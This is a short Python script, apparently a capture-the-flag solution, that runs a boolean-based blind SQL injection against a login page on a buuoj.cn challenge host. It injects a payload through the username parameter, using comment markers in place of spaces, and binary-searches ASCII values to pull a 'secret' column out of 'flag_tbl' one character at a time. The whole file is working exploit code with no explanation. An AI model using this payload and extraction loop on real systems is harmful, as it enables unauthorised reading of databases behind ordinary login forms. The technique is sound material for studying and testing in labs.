import requests

url='http://333929e3-c74b-4419-979c-b140d09a4b9b.node4.buuoj.cn:81/templates/login.php'
files={"file":"123"}
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}
cookies={"PHPSESSID":"123"}

result = ''
i = 1
while(1):
    left = 32
    right = 128
    while(1):
        mid = (left + right) // 2
        if left == right:
            result += chr(left)
            print(result)
            i += 1
            break
        payload = {"username":'1"/**/or/**/if(ascii(substr((select/**/secret from flag_tbl),{},1))>{},1,0)#'.format(i, mid),
                   "password":"123"}
        res = requests.post(url=url, files=files, data=data, cookies=cookies, params=payload).text
        if 'meta' in res:
            left = mid + 1
        else:
            right = mid
    if(right == 32):
        break
print('[*]Result ' + result)